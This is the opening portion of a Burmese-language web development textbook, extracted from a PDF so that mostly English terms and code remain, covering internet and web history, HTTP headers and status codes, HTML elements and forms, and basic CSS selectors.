You are on page 1of 528

Professional Web Developer

Fairway

PHP7, MySQL, jQuery, Ajax, HTML5, MVC


Professional Web Developer

[ pwdbook.com ]
Professional Web Developer
4th Edition

Copyright 2017, Ei Maung, Fairway Technology.

License - CC-BY-NC-SA

This document, Professional Web Developer (4th Edition) by Ei Maung is licensed under
a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.

This document is free to share, copy, distribute and transmit. And, also allow to remix or
adapt to this document. But, you must attribute the work in the manner specified by
the author or licensor (but not in any way that suggests that they endorse you or your
use of the work). And, you may not use this work for commercial purposes. If you alter,
transform, or build upon this work, you may distribute the resulting work only under the
same or similar license to this one.

For any reuse or distribution, you must make clear to others the license terms of this work.

THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE
OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT
LAW IS PROHIBITED - http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
Professional Web Developer - 2

9
Web

11 () Web Standards
HTTP Client-Server

26 () HyperText Markup Language - HTML


Semantic Markup

50 () Cascading Style Sheets - CSS


App

98 () JavaScript
DOM Manipulation HTML

127 () jQuery
Web App

167 () PHP Basic


Request/Response Cookie/Session

231 () PHP and MySQL


Database Project

293 () PHP and Apache Settings


URL Rewrite Setting

317 () Ajax with jQuery


Web App
Professional Web Developer - 3

340 () Content Management System - CMS


WordPress CMS

361 () Model-View-Collection - MVC


Code

378 () MVC with Laravel


Laravel PHP Framework

408 () HTML5 Overview


App Development Platform

450 () Mobile Web


Responsive Web Design

472 () Web App Security


493 () Tools and Utilities


Code Editor, IDE Tool

508 ()
Open Source

516 ()
Web Hosting

522

Professional Web Developer - 4



Web Developer

Cloud, Big Data, Social Media, Machine & Machine


Communication, Mobile Internet Web App Development
Knowledge Professional Web
Developer

Professional Web Developer - 5

There are always two types of programmers. Those who understand the web and those who don't.
And than there is a third type of programmer. Those that seem to understand the web, but don't.
Being third at anything is not fun! The journey from this third type of programmer to the one that
can fully grasp the potential of the web can not be achieved without having a great foundation in
core web concepts.

And this is why, and this is truly why I think this new book from Ko Ei Maung would be a
wonderful contribution to make the web a smart and snappy place from our corner of the world.
As a firm believer in the web and web technologies, I could not be more pleased. This book
espouses all the concept and core undertakings every web developer should come to terms with. It
is a foundation that every CTO and Project Manager wish they had both the time and energy to
explain over and over again to their teams and to their recruits.

Having such nuggets of knowledge in book form means that educators and entrepreneurs will be
freed from teaching and training foundation materials, there by allowing them to focus more on
what matters most. What matter most is creating more and more people that can learn more new
technologies. Technology in general and the service sector in particular is what economist like to
call "Tertiary Economics". The third wave of economic growth. As a country we are at the edge of
this phase of growth; a nation that is giving smart people a chance to use their intellectual talent
and skills in it's economic growth. This is such a book that aims to make that happen in small
steps towards the larger goal of making the knowledge industry a first class citizen.

But this is not the only reason I find this book timely. Over the last five years the web has been
seeing the largest and most rapid growth in it's history. A plethora of new technologies like dart
and asm.js, node and backbone, angular and ember and the list of endless new frameworks from
the micro to the behemoths has come out. Each one of them as interesting and useful as the other.
Which one do we choose for our next project? Only when we truly under the core web
technologies will be able to arrive at an informed and valid choice. This book than will go a long
way in doing just that and more.

May you all love the web.

Ravi
COO, Geo Mandalar Investment & Technology
CTO, NovaSteps Technologies
Professional Web Developer - 6

Web Developer





()


(MCPA Professional Series)

( Fairway )
Professional Web Developer - 7

. Web Development
Programming Programming
Programmer
Programming Language

. Programming Web Development


Web

. Junior Web Developer



. Senior Web Developer


. Web Developer Desktop, Mobile, Game, Database


Software Developer Software Development
Web
Web

. Team Leader CIO/CTO Software Development


Web
Project Plan
Developer


Professional Web Developer - 8

() ()
() ()

() HTTP/2 HTML5

() Professional Web
Developer 2.1 PDF Ebook ()
Laravel Framework

()

PHP PHP
Version PHP7

Full Stack Developer Software Developer


Software Process Management,
Project Management, Architecture Design, Server Administration

Linux OS Developer Ubuntu -


Linux Project Management
Software Development Back-end Architecture Design
Rockstar Developer
Ubuntu - Linux Rockstar Developer


Website eimaung.com PDF Ebook Download
Professional Web Developer - 9

Web

Professional Web Developer


()
"
"

Web Development


Web Developer


Web Development

Self-Study

Software Develop-
ment Business Solution, Web App, Mobile App, Game
Software Software
Client-Server Model Software
Software Web
Web App Web Developer
Software Software Developer

Professional Web Developer - () Web Standards 11

() Web Standards
HTTP Client-Server

1.1 -

Computer Network Network
Network Network

()
()




ARPA (Advanced Research Project Agency)



ARPA

Joseph Licklider Man-Computer Symbiosis


Network
Licklider ARPA Information
Process Office Network


ARPANET
Network
() Network
Network Packets Switching
Professional Web Developer - () Web Standards 12

ARPANET Packets Switching


JANET
CompuServe
Network Private Network

Network
ARPA Satellite
Network Packets Project Robert Kahn Vint Cerf
Mask Protocol

"Internet Transmission Control
Program" Network

ARPA Software
() "Telecommunication Protocol /
Internet Protocol (TCP/IP)"
TCP/IP
Network
()
Tablet Device .
Device .

Device

World Wide Web, Email
Email World Wide Web ""
""

World Wide Web Email


Instant Messaging (IM), Internet Relay Chat (IRC), Voice
Over Internet Protocol (VoIP), Secure Shell (SSH), File Transfer Protocol (FTP)

Professional Web Developer - () Web Standards 13

1.2 - World Wide Web (WWW)


Gopher




Gopher

Gopher
Gopher
Gopher

CERN (The European Council of Nuclear Research Center)


Gopher CERN
(Sir) Tim Berners-Lee Document Document
Hypertext Document
Document Server Software
Document Browser Client Program
"WorldWideWeb"

Tim Berners-Lee () WorldWideWeb Source Code






NCSA (National Center of Super-
computing Apps) Hypertext Document Gopher
Browser Program Mosaic Unix Operating System
Mac Windows Version
Mosaic WorldWideWeb

Mosaic Browser

Corporate Project Web
World Wide Web

Web ()
Professional Web Developer - () Web Standards 14

1 - Hypertext Document
Web Document Hypertext Document
Table (Image)
Form Document

Document Hyperlink Hyperlink


Document Document

2 - Web Server
Web Server Web Document
Document
Web Document
Web
Domain Name URI (Uniform Resource
Idendifier) Domain Name URI
URL (Uniform
Resource Locater) URL (-)

(-) URL

URL Web "" Web Resource URL


Web Developer

Professional Web Developer - () Web Standards 15

3 - Web Browser
Web Browser Web Document Software Mosaic
Web Browser Browser
Microsoft Internet Explorer Mozilla Firefox Mosaic

Web Browser () Microsoft Internet Explorer, Mozilla


Firefox, Google Chrome, Apple Safari Opera Tablet
Android Browser, Mobile Safari Opera Mobile
Mobile Browser Web Browser

Web Browser URL Web Server


Web Server

(-) Web Browser


Source: www.vladstudio.com/wallpaper/?how_internet_works
Professional Web Developer - () Web Standards 16

1.3 - World Wide Web Consortium (W3C)


Web
Tim Berners-Lee World Wide Web Consortium (W3C)


(MIT/LCS)
DARPA (Defense Advanced Research Projects Agency)

W3C Web Document Web Server


Web Browser Web

W3C
Google, Microsoft, Mozilla, Apple, Adobe, Opera
Web

W3C Web Standards HTTP, CGI, HTML, XHTML,


XML, SOAP, DOM, CSS, SVG, RDF

HTTP, HTML, CSS DOM

1.4 - HyperText Transfer Protocol (HTTP)


(-) URL http:// "" HTTP
Web Document Web Server Web Client

Web Client Web Server Software Web


Client Web Browser Web Client Server
App Web Client Web Client
Request Web Server
Respond Web Client
Web Server

HTTP Client Server



Professional Web Developer - () Web Standards 17

Client Request
HTTP Web Client Web Server
-

GET /foo.html HTTP/1.1


Host: example.com
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 26 Feb 2013 05:34:16 GMT

Request Header GET Request Method


HTTP GET, POST, PUT, DELETE Request Method
Request Method

GET Method Server


POST Server
PUT DELETE HEADER, DEBUG,
TRACK, TRACE Request Method

Request Method
Document URL URL
HTTP Version Request Header Server
User-Agent Client

() PHP and Apache Settings

Request Header
Server
HTTP Request Format Client

Browser Address Bar URL Web Browser


HTTP Request Format Server
Browser
Developer Tools
Tool
LiveHTTPHeader Firefox Addon
Professional Web Developer - () Web Standards 18

(-) LiveHTTPHeader Firefox Addon


Link: addons.mozilla.org/en-US/firefox/addon/live-http-headers/

Tool Client Server


Google Chrome Browser Addon

Server Respond
Server Hardware Server Software Server Hardware Server
HTTP Linux, Microsoft Windows Server
Server Operating System Run Web Document File
Physical Machine

Software Server HTTP Request


Apache, Nginx, IIS (Microsoft Internet Information Service) HTTP Web
Server Software

Physical Machine Hardware Server Web Server Software Server


Email Server, FTP Server, SSH server Server
(Port Number) Request


HTTP Web Server Default Port No.
80 80 Request HTTP Web Server

Professional Web Developer - () Web Standards 19

Browser Address Bar URL Port No.


Browser 80 Web Server Port No. Setting
() Apache and PHP Settings

Web Server Request Request Header



Client
Response Header HTTP Response Header
-

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2013 14:03:18 GMT
Server: Apache/2.2.14 (Unix) PHP/5.3.1
Last-Modified: Sun, 03 Mar 2013 20:15:33 GMT
Content-Encoding: gzip
Content-Length: 1448
Content-Type: text/html; charset=utf-8

Response Header Code 200 OK


Request

HTTP Status Code () (1xx) Code


(2xx) Code Request/Respond
Code (3xx) Code
Redirect Code (4xx) Code
Client Error Code Request
Error (5xx) Code Server Error
Web Server Request
Code HTTP Status Code
Code

200 OK - Request
Code

301 Moved Permanently -


Client Request URL
Request
Professional Web Developer - () Web Standards 20

304 Not Modified - Request Header If-Modified-Since:


Server

307 Temporary Redirect -


301
Request URL

403 Forbidden - Request Client



404 Not Found - Server

500 Internal Server Error - Server Error


503 Service Unavailable - Server Error


Code Web Server Down
Code

Status Code Wikipedia


List of HTTP Status Codes Article

Link: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Response Header
Response Header Server
Content Size

Browser Response Header


- Browser Web Content
Cache
Response Header Modified Date
Cache Content Modified Date Server
Content
Content
Professional Web Developer - () Web Standards 21

Browser Text, HTML, Image Content


Content - Microsoft Excel File Web Browser
Response Header Content-Type Browser
Content Content
Download

Request/Response Header Client Server


HTTP
Web
Standard

Pull Technology
HTTP Pull Technology Pull Technology Client Server
Client Server Client
Pull Technology Server

(-) HTTP

URL Web Development


() Client Request Server Respond
()

Pull Technology Web App Full-Duplex


Client-Server Network App
Professional Web Developer - () Web Standards 22

Real-Time App
App Pull Technology
Long-Polling, Web Sockets () HTML5
Overview

Stateless Protocol
Stateless Protocol Client Server
Request/Response State
HTTP Stateless Protocol Client Resource A
Server Resource A Client Resource B
Server Resource B Resource A User-Agent
Accept Encoding Resource B
Server

State Cookie, Session


() PHP Basic HTTP
Pull Technology Stateless

1.5 - HTTP/2

HTTP HTTP/1.1 ()
Standard Version
Version

HTTP/1.1 Cache Pull Technology Stateless


Client-Server Software
HTTP HTTP/1.1
Client Server

Web App Resource Icon


CSS JavaScript Web App
Resource () Client Server
() Web Browser Parallel
Professional Web Developer - () Web Standards 23

Connection Resource
() Connection
() Connection ()
Server Connection
() () Parallel Connection
Resource

HTTP/2 Multiplex Client Server Connection


Resource Transfer Resource
() Connection () Connection
Resource ()
Resource
Connection HTTP/2
HTTP/1.1

HTTP/2
Server Push Browser
Web Client Resource Cache
HTTP Pull Technology
Client Server
HTTP/2 Pull Technology Server
Resource Client Cache Push - Client
index.html index.html style.css app.js

Client HTTP/2
Server Resource Client
Client Request Server
Cache Request

HTTP/2 Header Compression HTTP/1.1


Compression HTTP/1.1 Compression Content Compress
HTTP/2 Content Request/Response Header Compress

HTTP/2 HTTP/1.1 Backward


Compatible HTTP/1.1 Software HTTP/2

HTTP Request
Methods Response Status Code Stateless
HTTP/1.1 Software HTTP/2

Professional Web Developer - () Web Standards 24

() HTTP/1.1 SPDY
Google SPDY HTTP/1.1 Server Push, Header Compression
Protocol Official Standard

Google Chrome, Firefox Browser SPDY Facebook,
Twitter, Google Web App SPDY
HTTP/2

() Internet Engineering Task Force (IETF) HTTP/2


SPDY ()
() () HTTP/2 Release Candidate

Firefox, Chrome, Internet Explorer 11, Opera Browser HTTP/2


Support HTTP/2

(,)

() ()
Professional Web Developer - () HyperText Markup Language - HTML 26

() HyperText Markup Language - HTML


Semantic Markup

HTML HTML5 HTML HTML5 HTML


HTML Web Document
W3C Markup Language Web Document
HTML Element Text Document

(-) HTML Element

(-) HTML Element HTML Element Open


Tag Close Tag Element
Content Open Tag Attribute Close Tag Element Content
Open Tag Attribute Empty Tag

Element () Document HTML - HyperText Markup


Language World Wide Web
Tim Berners-Lee

() () HTML2.0
Professional Web Developer - () HyperText Markup Language - HTML 27


HTML5
HTML5 HTML Web Document
Markup Language () -
HTML5 Overview HTML Markup Language

2.1 - Semantic Web


Element Semantic Web Semantic
Web Document

Web Document
Process W3C HTML

Web Document
Document Process
Processing Power
Web Browser, Search Engine Spider Software
Web Document

Web Document
Process Semantic Document

Web Developer Web Document ""


Web Document Process
Web Document Text Document

Document
Process Document
Google Search Engine Web Browser Document
CSS Style

JavaScript Element

HTML
Data Structure

HTML
CSS Style
Language Semantic Web Browser War
XHTML
Professional Web Developer - () HyperText Markup Language - HTML 28

2.2 - Browser War


Web Browser Mosaic Marc Andreessen Jim Clark
NCSA Mosaic Communications
Netscape Communications Corporation Netscape Navigator Web
Browser Netscape Navigator Version 1.0

NCSA Sypglass Inc. Mosaic Browser Microsoft



Mosaic Browser Internet Explorer

Microsoft Internet Explorer Mozilla Firefox
Browser Mosaic Mosaic
Netscape Navigator Mozilla Firefox Browser
Telenor Opera
Web Browser Version
Opera
Browser Opera Web Standards

Developer Web Browser


Browser War

Opera Browser War Microsoft Netscape


Web Browser


Web Developer Document


Document
Internet
Explorer Netscape
Browser
" Browser "
Browser () Browser
Developer

W3C W3C Web Standard


Internet Explorer Netscape
Browser War Web Development
Web Developer Browser War Browser War
Web Document

Professional Web Developer - () HyperText Markup Language - HTML 29

Professional Web Developer Web Standard Project (WaSP)


Web Standard
Microsoft Netscape W3C Web Standard
WaSP
Web Developer Web Standard

Microsoft Mac Internet Explorer 5


Browser Web Standard

WaSP Netscape Navigator 5 Web Standard

Wired, ESPN Website Website Web Standard


CSS Zen Garden Website
HTML CSS Website Design
Web Developer Web Design

Web Standard Mozilla Firefox


Version Google Gmail Gmail
Web Standard JavaScript DOM
App JavaScript Web Developer
App O'Reilly Media Tim-O'Reilly
Web2.0 Web2.0
Web Standard App
Web App

2.3 - HTML vs. XHTML


W3C Web Standard Web Standard
Web Industry

Browser War Internet
Explorer Netscape W3C Web Standard

- <font> HTML Element Web Document


<font> Element Standard
Professional Web Developer - () HyperText Markup Language - HTML 30

Netscape <font> Element Internet


Explorer Web Developer Document
Internet Explorer W3C
Standard

HTML 3.0 IE Netscape


Element HTML
HTML Semantic Data Structure
Document

HTML 4.0 4.01 HTML Semantic


Data Structure HTML Web Document
Web App Data Structure Font
Text Format Document Browser Support
Concept Web App

W3C HTML 4.01


Element Version HTML 4.01
Website Backward
Compatibility W3C HTML XHTML
Markup Language XHTML X
eXtensible W3C
Data Model Language XML
HTML

HTML Semantic Element XHTML

- XHTML Element Tag


HTML
XHTML Element Close Tag
Close Tag Empty Element Self-Closing Element
( - <br /> <img />) Attribute Value Quote


XHTML HTML Semantic Document
Markup Language
Professional Web Developer - () HyperText Markup Language - HTML 31

WaSP Web Standard Web Developer XHTML


Web Document Developer XHTML

WaSP XHTML Semantic Web Document Browser Web Standard Support


XHTML Version 1.1
Version 2
W3C
XHTML 2.0 HTML5 Web Document
Markup Language

HTML5 XHTML
HTML 4.01 Website Backward Compatible

HTML5 ()
HTML Element

2.4 - HTML
HTML Document Document Type Declaration
HTML Document HTML Document
Element -

<!doctype html>
<html>
<head>
<title>Document Title</title>
</head>
<body>
<!-- Document Content -->
</body>
</html>

<!doctype html> Document HTML Document


Document Type Declaration HTML Elements <html>
Element <html> Element Element
<head> Element <body> Element <head> Element Document
<title> Element
<title> Element Document Title
<head> Element Element <meta>
<link> <script> <style>
Professional Web Developer - () HyperText Markup Language - HTML 32

<body> Element Web Browser Content


<!-- --> Element
Comment Element Comment Element
Document

HTML Element Web Document File System


html Extension ( - home.html) Document Web Document
Extension Content-Type
File Attribute
Web Document html Extension
html Extension Web Document

Basic Elements
HTML Document
Text Document Text Document
Form
Hyperlink Document
Link

Document Main Heading


Sub Heading
HTML Document ()

Main Heading <h1> Element <h2> Element
<h3> Element <h4> <h5> <h6>
() Document

<p> Element

HTML Document
Professional Web Developer - () HyperText Markup Language - HTML 33

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title> - </title>
</head>
<body>
<h1> </h1>
<img src="nyomya.gif" alt="">
<p>


()

</p>
<p>



( ) ( )
</p>
<h2></h2>
<p>

</p>
</body>
</html>

<head> Element <meta> Element


Element Document Content UTF-8
Encoding

<body> Element <h1> Element



<h2> Element
() <p> Element

<img> Element <img> Element



Empty Element Close Tag Tag Content
Attribute src Attribute Path
alt Attribute
src Path

nyomya.html File Name
Web Browser


Professional Web Developer - () HyperText Markup Language - HTML 34

<h1> Element <h2> Element




Document Structure Browser
<h1> Element
<h1> <h2> <h2>

Browser
Size
Size Style CSS HTML
"
"
Element

HTML Document White Space


White space "Space" "Tab" "New Line"
HTML Document Process Web Browser
White Space Single Space
Document White Space
Professional Web Developer - () HyperText Markup Language - HTML 35

eimaung.com/pwd-rc

Text Editor Notepad Editor
Line Number, Syntax Highlight, Auto Indent
Text Editor - Sublime Text (sublimetext.com), Notepad++
(notepad-plus-plus.org)

Hyperlink and Anchor


Web Server Document Resource
URL HTML Document URL
Document Document Hyperlink

Document
Document Link Hyperlink
Document Link Anchor
Link Resource External Link
Document Internal Link

External Link <a> Element Internal Link <a>


Element <a> Element href URL
Attribute Google Search External Link

<a href="http://www.google.com/" title="Google Search">Search</a>

http://www.google.com/ URL href Attribute <a> Element


Link http://www.google.com

title Attribute Attribute


<a> Element Attribute title Attribute
Element Search Engine Spider
<a> Element HTML Element

Professional Web Developer - () HyperText Markup Language - HTML 36

HTML Element title Attribute Web Browser Mouse


Element title Attribute Tool Tip

URL Document Browser Window Attribute


target="_blank" Attribute

<a href="http://www.google.com/" target="_blank">Search</a>

Attribute
Web Browser Link Right Click "Open Link in New Window"
Option Link Window


Window Window
Option " Window
" Force User Experience
target="_blank" Attribute

Internal Link (Anchor)


Document
HTML Element ID

-

<h2 id="ch2">Chapter Two</h2>

<h2> Element id Attribute ID


Document <h2> Element <h2>
ID <a> Element Document
ID -

<a href="#ch2">Chapter Two</a>

<a> Element href Attribute Document Document


ch2 ID Element #ch2 # Sign

Professional Web Developer - () HyperText Markup Language - HTML 37

External Link Document Document Element


-

<a href="http://example.com/toc.html#ch2">Chapter Two</a>

example.com/toc.html Document #ch2 Element


Lists
HTML Document List Element
<ul> <ol> <ul> Unordered List Bullet
<ol> Ordered List

List <ol>
<ul>
Bullet

<ul> <ol> Element Item


List Item Element <li>
Element

<ol> 1. Chapter One


<li>Chapter One</li>
<li>Chapter Two</li> 2. Chapter Two
<li>Chapter Three</li> 3. Chapter Three
<li>Chapter Four</li>
</ol> 4. Chapter Four

<ul> Yangon
<li>Yangon</li>
<li>Mandalay</li> Mandalay
<li>Naypyidaw</li> Naypyidaw
<li>Monywa</li>
</ul> Monywa
Professional Web Developer - () HyperText Markup Language - HTML 38

<ol> Element List start Attribute


- <ol start="5"> 1 5, 6, 7

(
) reversed Attribute
-

<ol reversed>

Element Attribute Attribute Name Value Attribute


Attribute Attribute Attribute Name Value
- <ol reversed="reversed"> XHTML
Value Attribute Name

Table
<table> Element Rows
Columns Table
Rows Columns
Rows Table Row <tr> Attribute
Rows Columns Table Data <td> Attribute

<table border="1">
<tr>
<td>484</td>
<td>MX</td>
<td>MEX</td>
<td>Mexico</td>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>

<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
Professional Web Developer - () HyperText Markup Language - HTML 39

<tr>
<td>524</td>
<td>NP</td>
<td>NPL</td>
<td>Nepal</td>
</tr>
</table>

484 MX MEX Mexico

504 MA MAR Morocco

104 MM MMR Myanmar

524 NP NPL Nepal

Table Column <td> Element


<th> Element

<table border="1">
<tr>
<th>Code</th>
<th>ISO</th>
<th>ISO3</th>
<th>Name</th>
</tr>

<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
</table>
Professional Web Developer - () HyperText Markup Language - HTML 40

Code ISO ISO3 Name

504 MA MAR Morocco

104 MM MMR Myanmar

Table <thead> <tbody> <tfoot> Element


<table>
<thead>
<tr>
<th colspan="4">Country List</th>
</tr>
</thead>
<tbody>
<tr>
<th>Code</th>
<th>ISO</th>
<th>ISO3</th>
<th>Name</th>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
</tbody>
<tfoot>
<tr>
<td colspan="4">&copy; Copyright 2013</td>
</tr>
</tfoot>
</table>
Professional Web Developer - () HyperText Markup Language - HTML 41

Country List

Code ISO ISO3 Name

504 MA MAR Morocco

104 MM MMR Myanmar

Copyright 2013

<thead> Element <td> colspan="4" Attribute


Attribute Column
colspan="4"
""
Country List Column

<tfoot> Element &copy; HTML Entitle


Symbol
Ampersand (&) Semi-Colon (;) &copy; Symbol
HTML Entitle Symbol

&copy; Symbol Symbol

&nbsp; - [Space]
&trade; -
&reg; -
&lt; - <
&gt; - >
&raquo; -
&laquo; -

Less Than Sign ( < ) Less Than Sign



Browser < Sign Tag &lt;

&lt; < Less Than Sign Browser

Table Layout
HTML Document Semantic Data
Structure Document
Style Language CSS
XHTML Browser CSS Support
Professional Web Developer - () HyperText Markup Language - HTML 42

CSS2.1 Internet Explorer


Support
Web Developer Document Style CSS
<table> Element Document Layout

Layout Table Row Row Column


Row Column <table> Element
Document Layout Web Developer
XHTML Semantic Web Browser
CSS Support <table> Element
Layout

Browser CSS Support Layout


Table Table Layout CSS Layout
<table> Element Layout

Formatting Elements
Text Format
Element <b> Element
Bold <i> Element Italic Format
HTML Document
Format Element ()
Style Detail CSS

W3C XHTML <b> <i> <s> <u> Formatting Elements


Professional Web Developer - () HyperText Markup Language - HTML 43

Document
Semantic
Element <strong> <em> <del> XHTML

<i>Hello, World!</i> Hello, World!


<em>Hello, World!</em>
<i> Element <em> Element
" ?"

<em>
Emphasis ()
<i> Element <em> Element
Semantic

HTML5 <u> Element


Formatting Elements

<b> - Bold (Example)


<i> - (Example)
<s> - Strike-through (Example)
<strong> -
(Example)
<em> - (Example)
<del> - (Example)
<sup> - Superscript (Example - 2nd)
<sub> - Subscript (Example - H2O)
<code> - Program Code (Example)
<pre> - Format HTML Whitespace
<pre> Element Whitespace

HTML Document Program Code
Element

Form and Inputs


Form HTML Document Form
Element Input Element
Text Input

<input> Element type Attribute "text" Empty Tag


Close Tag Content
Professional Web Developer - () HyperText Markup Language - HTML 44

<input type="text">

Attribute value Attribute Text Input Default Value


Text Input readonly
Attribute disabled Attribute Input Mute maxlength
Attribute Text Input -

<input type="text" maxlength="6">

Input Label <label> Element

<label for="fname">First Name</label>


<input type="text" id="fname">

<label> Element <input> Element <label> Element for Attribute


<input> Element id
"First Name" Label Text Input Focus

Input Element Input

<input type="password"> Password Text Input


Star
Input

<input type="hidden"> Text Input hidden


Input App
Hidden Input

<input type="checkbox"> Checkbox Option


checked Attribute Default Check checked Attribute
checked="checked" Attribute
Attribute Name

<input type="radio"> Radio Option


checked Attribute Default Check
Radio Option
Professional Web Developer - () HyperText Markup Language - HTML 45


Option
Radio Option name Attribute -

<input type="radio" name="gender" value="male">


<input type="radio" name="gender" value="female">

<input type="submit"> Button submit Button Form


submit Button () PHP Basic

value Attribute Text Input Default Value Checkbox


Radio Option Element Button Element
value Attribute Button Button Label <input
type="submit" value="Save">

<input type="reset"> Button reset Button Input


Button
Button Web Form Input ()
()
Button
User Experience
Button

<input type="button"> Button Button



JavaScript
Button

<button> Element <input type="button">


<button> Element Full Element Element Content Close Tag
- <button>Download</button> <input type=
"button" value="Download">

<button> Element Formatting Tag Content


- <button>Download <b>file.pdf</b></button>

Input Element Textarea Select Box


<input> Element Textarea <textarea> Element
Professional Web Developer - () HyperText Markup Language - HTML 46

<textarea> <input> Empty Element Full


Element Default Value <input type="text"> value
Attribute
Default Value Tag Tag
- <textarea>Default Text</textarea>

Select Box Drop-Down Box <select> Element


<option> Element

-

<select>
<option value="1">Apple</option>
<option value="2">Orange</option>
<option value="3" selected>Mango</option>
<option value="4">Grape</option>
</select>

<option> Element value Attribute


- Orange
(2) value Attribute
Orange value
selected Attribute Default
<option> Element selected Attribute <option>
<option> Default

HTML Form
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>HTML Form</title>
</head>
<body>
<h1>Form Inputs</h1>
<form>
<label for="fname">Name</label><br>
<input type="text" id="name"><br>

<label for="email">Email</label><br>
<input type="text" id="email"><br>

<label for="address">Address:</label><br>
<textarea id="address"></textarea><br>

<br>
<input type="radio" name="gender" id="male">
<label for="male">Male</label>
Professional Web Developer - () HyperText Markup Language - HTML 47

<input type="radio" name="gender" id="female">


<label for="female">Female</label><br>
<br>

<label for="education">Highest Education</label><br>


<select id="education">
<option>High School</option>
<option>Bachelor</option>
<option>Post Graduate Diploma</option>
<option>Master</option>
<option>Ph.D</option>
</select><br> <br>

<input type="submit" value="send">


</form>
</body>
</html>

Form form.html File Name Browser



Professional Web Developer - () HyperText Markup Language - HTML 48

Browser Element <br> Element


<br> Line Break Content Close Tag Empty Element

Conclusion
Element Text Document HTML Element
Element Element Attribute
HTML Document
Web App Data Structure
Professional Web Developer Course

- ()

www.fairway.com.mm
Professional Web Developer - () Cascading Style Sheets - CSS 50

() Cascading Style Sheets - CSS

App

W3C CSS Document Content Style


HTML Content Structure Content
Style CSS

CSS Style Language


Proposal ()
() W3C Cascading HTML Style Sheets
(CHSS) Stream-based Style Sheet Proposal (SSP) CHSS
CSS CSS HTML
Markup Language ( - XML, SVG, XUL) CHSS
H CSS

Style Language CSS Document


Style Sheets Style Sheet Style Sheet

Cascade (Inherit)
Cascading Style Sheet CSS Version
CSS Version CSS Level 1 HTML5
CSS CSS3 (CSS Level 3)

3.1 - CSS Syntax


CSS Programming Language Markup Language
Language

"<h2> Element Bold "


"class 'note'
Element Size 12 Pixels "
Professional Web Developer - () Cascading Style Sheets - CSS 51

- Element Style

Syntax (-)

(-) CSS

Selector, Property, Values Selector h1, p, img, li HTML Element


Property color, background, border, font-style Style
Property Values blue, 20px, bold, center Style Value
- <p> Element CSS
-

p {
color: green;
}

p Selector color Property green Value

3.2 - CSS Selectors


CSS () Selector Element HTML
Document Style
Element Select

Selector Element Selector, ID Selector Class Selector


Element Selector HTML Element Name Select
HTML Element Name CSS Select -

body {
background: black;
color: white;
}
Professional Web Developer - () Cascading Style Sheets - CSS 52

h1 {
font-size: 24px;
}

ul {
list-style: square;
line-height: 20px;
}

a {
color: yellow;
text-decoration: none;
}

body, h1, ul, a Element Name Select Element


Selector ID Selector id Attribute Element id Select
- HTML Document Element Structure
-

<ul id="nav">
<li id="key-nav"> </li>
<li> </li>
<li> </li>

</ul>

<p id="highlight"> </p>

<ul id="sitemap">

</ul>

<p id="foot-note"> </p>

ul { background: pink; } Structure <ul> Element


Background <ul> Element
Style ID Select -

ul#nav {
background: pink;
}

()
Professional Web Developer - () Cascading Style Sheets - CSS 53

#nav {
background: pink;
}

# Sign ID Selector ul#nav "ID nav


<ul> Element Select " #nav "ID nav
Element Select "

ID nav <ul> Element Background

Structure <p> Element
id="highlight" Element p#highlight
() #highlight ID Selector

Class Selector ID Selector Element class


Attribute # Sign ID Selector Dot ( . ) Class Selector

Element Structure

<p> </p>
<p class="note"> </p>
<p> </p>
<p class="note"> </p>

<p> Element class="note"


Select

p.note {
color: gray;
font-size: 11px;
}

()

.note {
color: gray;
font-size: 11px;
}

ID Selector p.note "Class note <p> Element Select "


.note "Class note Element Select "
Professional Web Developer - () Cascading Style Sheets - CSS 54


p.note
.note

HTML Document ID Elements CSS ID Element


ID Element Identify
Unique CSS JavaScript Element ID
Element Class Element Classify
Element Class
Front-End Expert CSS Element ID
Class

3.3 - Slightly Advanced CSS Selectors


Selector Descendant
Selector, Child Selector, Attribute Selector Descendant Selector Element
Element Select Nested Selector
Document Element Class ID
Select HTML Element Structure

<a href="#">Outside Link</a>

<p>
<a href="#">Inside Link One</a>
<strong><a href="#">Inside Link Two</a></strong>
</p>

<a> Element <p> Element


<p> Element <a> <strong> Element
<a> Element Select

p a {
color: gray;
}

p [space] a [space] Descendant Selector


"<p> Element <a> Element Select "
<p> Element <a> Element
<a> Select
Professional Web Developer - () Cascading Style Sheets - CSS 55

Element Structure <a> Element href Attribute URL



# Sign URL
# Sign # Sign URL
Valid Sign # Sign

p strong a {
color: gray;
}

p [space] strong [space] a "<p> Element


<strong> Element <a> Select " Structure
Inside Link Two Element
Element Select Project

#header a {
text-decoration: none;
color: black;
}

#nav li a.active {
background: black;
color: white;
}

.note strong {
font-weight: normal;
color: red;
}

#footer p {
font-size: 11px;
color: gray;
}

a img {
border: 0 none;
}

Child Selector Descendant Element


Element Select Descendant Selector Element
Element Selector Child Selector Direct Child
Element Element Element
Select Descendant Selector Element Structure

Professional Web Developer - () Cascading Style Sheets - CSS 56

<a href="#">Outside Link</a>

<p>
<a href="#">Inside Link One</a>
<strong><a href="#">Inside Link Two</a></strong>
</p>

<p> Element <a> Element Select

p > a {
color: gray;
}

Arrow ( > ) Child Selector "<p> Element Direct


Child <a> Element Select " Selector Inside Link
One <a> Element Inside Link Two <a> Element
Direct Child <strong> Element
Child Selector Descendant Selector

Attribute Selector Element Attribute Select


Selector
- [title] title Attribute Element Select
img[alt] <img> Element alt Attribute Element Select
img[alt="Feature"] <img> Element alt="Feature"
Element Select <input> Element
text, radio, button Type type Attribute
Select

